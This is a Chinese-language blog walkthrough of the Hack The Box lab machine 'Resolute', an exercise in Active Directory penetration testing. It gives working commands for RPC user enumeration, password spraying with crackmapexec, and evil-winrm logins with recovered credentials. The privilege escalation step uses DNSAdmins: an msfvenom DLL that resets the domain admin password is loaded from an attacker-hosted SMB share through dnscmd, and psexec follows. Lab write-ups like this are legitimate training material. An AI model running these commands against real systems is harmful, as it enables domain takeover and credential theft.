freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

AD-Resolute详解
2022-10-16 20:02:39
所属地 河南省

0x00前言

本小白最近在学域渗透,决定把Hack The Box的Active Directory 101 系列域渗透靶机打完,并详细记录当中用到的工具、知识点及其背后的原理。本篇文章是该系列的第五篇,靶机名字为Resolute

0x01信息搜集

首先我们使用nmap来进行端口与服务的发现

Nmap scan report for 10.10.10.169
Host is up (0.39s latency).
Not shown: 65476 closed ports, 36 filtered ports
PORT      STATE SERVICE      VERSION
53/tcp    open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
88/tcp    open  kerberos-sec Microsoft Windows Kerberos (server time: 2022-10-12 08:19:11Z)
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
389/tcp   open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp   open  microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
636/tcp   open  tcpwrapped
3268/tcp  open  ldap         Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp  open  tcpwrapped
5985/tcp  open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
9389/tcp  open  mc-nmf       .NET Message Framing
47001/tcp open  http         Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
49664/tcp open  msrpc        Microsoft Windows RPC
49665/tcp open  msrpc        Microsoft Windows RPC
49666/tcp open  msrpc        Microsoft Windows RPC
49669/tcp open  msrpc        Microsoft Windows RPC
49670/tcp open  msrpc        Microsoft Windows RPC
49674/tcp open  ncacn_http   Microsoft Windows RPC over HTTP 1.0
49675/tcp open  msrpc        Microsoft Windows RPC
49680/tcp open  msrpc        Microsoft Windows RPC
49709/tcp open  msrpc        Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=10/12%Time=634676E0%P=x86_64-pc-linux-gnu%r(DNS
SF:VersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version
SF:\x04bind\0\0\x10\0\x03");
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3.02: 
|_    Message signing enabled and required
|_smb2-time: Protocol negotiation failed (SMB2)

0x02密码喷洒

通过枚举发现我能够使用空身份验证连接到 RPC:

rpcclient -U "" -N 10.10.10.169
enumdomusers			#枚举用户
querydispinfo            #显示用户列表和描述

图片.png

通过用户列表中的描述,我们发现了marko用户的明文密码

marko:Welcome123!

经过crackmapexec验证发现该用户不能登录,我们把前面发现的用户名都存入userlist.txt 然后使用crackmapexec进行密码喷洒

crackmapexec smb 10.10.10.169 -u userlist.txt -p 'Welcome123!' --continue-on-success

图片.png

发现用户melanie可以登录,使用evil-winrm工具登录到用户melanie上

evil-winrm -i 10.10.10.169 -P 5985 -u melanie -p 'Welcome123!'

图片.png

然后我们在该用户的一个目录下发现了一个存有ryan用户名和密码的txt文件

图片.png

0x03基于DNS服务DLL注入的权限提升

尝试使用winrm登录到ryan用户,发现可以登录

evil-winrm -i 10.10.10.169 -P 5985 -u ryan -p 'Serv3r4Admin4cc123!'

图片.png

我们在ryan用户的桌面发现了一个note.txt文件,内容如下:

due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute
翻译:由于更改冻结,任何系统更改(除了管理员帐户的更改)将在 1 分钟内自动恢复

通过如下命令,我们发现ryan用户是DNSAdmins 组的成员

图片.png

DNSAdmins 组的成员可以访问网络 DNS 信息。默认权限如下: 允许:读取、写入、创建所有子对象、删除子对象、特殊权限。
默认情况下,DNSAdmins 没有启动或停止 DNS 服务的能力,但管理员授予该组该权限并不罕见。dnsadmins 组的成员可用于通过 dll 注入将权限提升到管理员。
参考链接:DNSadmin组实现权限提升  https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2

在目标上,我们可以更改 dns 的配置,因为用户 ryan 属于dnsadmins组。我们还可以启动和停止 dns 服务。

首先我们可以使用 msfvenom 生成我们的有效负载 dll。,启动smb服务

msfvenom -p windows/x64/exec cmd='net user administrator P@s5w0rd123! /domain' -f dll > da.dll
smbserver.py SHARE ./
*Evil-WinRM* PS C:\Users\ryan\Documents>cmd /c dnscmd 10.10.10.169 /config /serverlevelplugindll \\10.10.16.12\share\da.dll
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe stop dns
*Evil-WinRM* PS C:\Users\ryan\Documents>sc.exe start dns

图片.png

psexec.py megabank.local/administrator@10.10.10.169
P@s5w0rd123!                   #输入密码

图片.png

参考资料:DNSadmin组实现权限提升 https://medium.com/techzap/dns-admin-privesc-in-active-directory-ad-windows-ecc7ed5a21a2

0x04总结

本篇文章到这里就结束了,这里做个简单的总结,首先通过对各个开放服务的枚举,我发现了rpc可以空用户登录,通过枚举用户及信息,又发现了marko用户的明文密码,经过尝试发现无法远程登录获取shell,于是把枚举到的用户名存入userlist.txt使用发现的明文密码通过crackmapexec进行密码喷洒,发现melanie用户可以通过该密码进行远程登录,于是我们获取到了一个shell,经过信息搜集,我们在该用户的一个txt文件里面找到了ryan用户的账号和明文密码,并且通过evil-winrm登录到了ryan用户上,通过whoami /all命令发现该用户属于DNSadmin组的成员,于是我们通过dll命令注入创建了一个新的管理员账号,最终通过psexec拿到了系统权限。

# 渗透测试 # 内网渗透 # 域提权 # HackTheBox
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录